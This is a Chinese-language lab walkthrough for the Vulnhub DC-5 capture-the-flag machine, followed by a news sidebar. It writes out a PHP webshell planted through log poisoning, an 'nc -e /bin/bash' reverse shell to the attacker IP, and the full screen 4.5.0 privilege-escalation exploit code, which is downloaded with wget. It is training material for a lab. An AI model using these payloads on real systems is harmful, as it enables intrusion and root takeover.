手把手教通关Vulnhub靶场-DC5靶机
一.靶机下载官方链接https://download.vulnhub.com/dc/DC-5.zip网盘链接:https://pan.baidu.com/s/1eRXBBhv4vuL3pEBsQ8Wayg 提取码: m7in导入之后要在设置中将其调为NAT模式默认情况我们是不知道靶机的密码的目的是通过kali获取靶机中的flag信息二.靶机信息收集因为靶机与kali处于同一网络状态下使用命令arp-scan -l得到靶机的ip为192.168.194.137使用命令nmap -A 192.168.194.137对靶机进行扫描发现靶机开放了80端口尝试对80端口进行访问三.漏洞扫描使用dirsearch扫描一下敏感目录使用命令dirsearch -u http://192.168.194.137访问footer.php和thankyou.php的时候发现刷新网页时间会改变但在其他网页不会变化所以猜测在thankyou.php文件中包含footer.php文件存在文件包含thankyou.php无明显文件参数用 wfuzz 爆破 GET 参数使用命令wfuzz -c --hh1200 -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.194.137/thankyou.php?FUZZ/etc/passwd发现存在参数file访问http://192.168.194.137/thankyou.php?file/etc/passwd得到命令执行的回显四.上传webshell将?php system($_GET[cmd]) ?传入发现服务器为nginx于是尝试访问nginx的日志信息http://192.168.194.137/thankyou.php?file/var/log/nginx/error.log接着反弹shell使用命令http://192.168.194.137/thankyou.php?file/var/log/nginx/error.logcmdnc -e /bin/bash 192.168.194.134 1111nc lvvp 1111获取交互式shell使用命令python -c import pty; pty.spawn(/bin/bash);五.提权使用命令find / -perm -4000 -type f 2/dev/null发现/bin/screen-4.5.0确认提权点在msf里面寻找提权的poc使用命令searchsploit screen 4.5.0使用命令cat /usr/share/exploitdb/exploits/linux/local/41154.sh查看到这个poc的利用方式将41154.sh中上面一部分c语言代码另存为libhax.c#includestdio.h#includesys/types.h#includeunistd.h#includesys/stat.h__attribute__ ((__constructor__))voiddropshell(void){chown(/tmp/rootshell, 0, 0);chmod(/tmp/rootshell, 04755);unlink(/etc/ld.so.preload);printf([] done!\n);}使用命令gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c#includestdio.h#includeunistd.h#includesys/types.hintmain(void){setuid(0);setgid(0);seteuid(0);setegid(0);char*argv[] {/bin/sh, NULL};execvp(argv[0], argv);return0;}使用命令gcc -static -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件#!/bin/bashecho~ gnu/screenroot ~echo[] Now we create our /etc/ld.so.preload file...cd/etcumask000# becausescreen-D-m-Lld.so.preloadecho-ne \x0a/tmp/libhax.so# newline neededecho[] Triggering...screen-ls# screen itself is setuid, so.../tmp/rootshell使用命令vim dc5.sh:set ffunix | wqchmodZx dc5.shpython3 -m http.server 8080切换到反弹shell页面使用命令cd /tmpwget http://192.168.194.134:8080/libhax.sowget http://192.168.194.134:8080/rootshellwget http://192.168.194.134:8080/dc5.sh使用命令cd /rootcat thisistheflag.txt成功获取最后的flag如有错误请大佬们指正到这里我们也是成功通关了DC5靶机后续会接着更新DC系列的靶机通关教程请多多关注一下

相关新闻

Feature Selection实战指南:从237个字段砍到50个的工程化决策方法

Feature Selection实战指南:从237个字段砍到50个的工程化决策方法

1. 这不是“降维”课,是数据工程师每天在救火时用的 Feature Selection 第一关“Dimensional Reduction — Feature Selection Part 1”这个标题乍看像教科书里的章节名,但我在金融风控建模组干了八年,带过十七个新人,亲手跑废过三…

2026/11/3 22:11:24 阅读更多 →
718:public internl class;partial []

718:public internl class;partial []

1 public internal class Product { } 代码解析:public internal class Product 1. 语法报错:修饰符冲突,无法编译 C# 类的访问修饰符不能同时写 public internal,二者互斥: public:程序集内外任意代码都能…

2026/11/4 17:10:13 阅读更多 →
关于C++网络编程中Epoll和套接字阻塞与非阻塞有感

关于C++网络编程中Epoll和套接字阻塞与非阻塞有感

前情提要:小编本人是刚开始学C网络编程的学生,来记录一下学习笔记,大家如果看到有错误请不要吝啬您的指导,助力每一位it追梦人我们创建的套接字不管是连接套接字Acceptor_fd还是客户端套接字Client_fd都会放到Epoll中来进行管理&a…

2026/10/29 0:44:08 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/11/8 1:19:03 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/11/8 14:17:55 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/11/9 1:59:56 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/11/8 1:38:41 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/11/7 12:08:40 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/11/8 1:23:14 阅读更多 →

日新闻

周新闻

月新闻